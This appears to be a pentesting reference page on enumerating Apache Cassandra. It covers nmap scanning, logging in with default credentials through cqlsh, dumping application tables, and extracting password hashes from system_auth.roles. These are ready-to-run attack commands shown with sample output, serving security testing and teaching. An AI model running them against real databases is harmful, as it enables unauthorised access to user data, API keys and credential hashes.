# Cassandra Enumeration

> Techniques for enumerating Apache Cassandra instances, covering keyspace discovery, table extraction, user privileges, and misconfigurations via CQL and tools like cqlsh.

- **URL:** https://hackindex.io/services/cassandra/enumeration/cassandra-enumeration
- **Path:** Cassandra > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/cassandra/enumeration.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

Apache Cassandra is a distributed NoSQL database that listens on port 9042 (CQL native transport) and 7199 (JMX). Many Cassandra deployments use default credentials or no authentication at all. Enumeration identifies the version, checks for default credentials, and maps keyspaces and tables containing application data.

## Port Scanning

```bash
nmap -sV -p 7199,9042,9160 $TARGET_IP
# PORT     STATE SERVICE    VERSION
# 7199/tcp open  java-rmi   Java RMI
# 9042/tcp open  cassandra  Apache Cassandra 4.1.3
# 9160/tcp closed thrift
```

## Default Credentials

Cassandra ships with default credentials `cassandra:cassandra`. Authentication is disabled by default, meaning any credentials (or none) will work.

**Connect with cqlsh**

```bash
cqlsh $TARGET_IP 9042 -u cassandra -p cassandra
# Connected to Test Cluster at 10.10.10.50:9042
# [cqlsh 6.1.0 | Cassandra 4.1.3 | CQL spec 3.4.6 | Native protocol v5]
# cqlsh>
```

## Keyspace and Table Enumeration

**List all keyspaces**

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "DESCRIBE KEYSPACES;"
# system       system_auth  system_distributed  system_schema
# system_traces  system_views  webapp  analytics
```

**List tables in a keyspace**

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "USE webapp; DESCRIBE TABLES;"
# users  sessions  api_keys  transactions
```

**Dump table contents**

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT * FROM webapp.users LIMIT 10;"
```

## Credential Extraction

The `system_auth.roles` table stores all Cassandra user accounts with their salted password hashes.

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT role, salted_hash FROM system_auth.roles;"
#  role       | salted_hash
# -----------+--------------------------------------------------------------
#  cassandra | $2a$10$abcdefghijklmnopqrstuuABCDEFGHIJKLMNOPQRSTUVWXYZ01234
```

If unauthenticated access is confirmed, continue to [Cassandra exploitation](https://hackindex.io/services/cassandra/exploitation/cassandra-unauthenticated-access) for data extraction and user creation.

## References

- [Cassandra: CQL Reference](https://cassandra.apache.org/doc/latest/cassandra/cql/) - Official CQL documentation.
- [HackTricks: Pentesting Cassandra](https://hacktricks.wiki/en/network-services-pentesting/cassandra.html) - Cassandra enumeration and exploitation reference.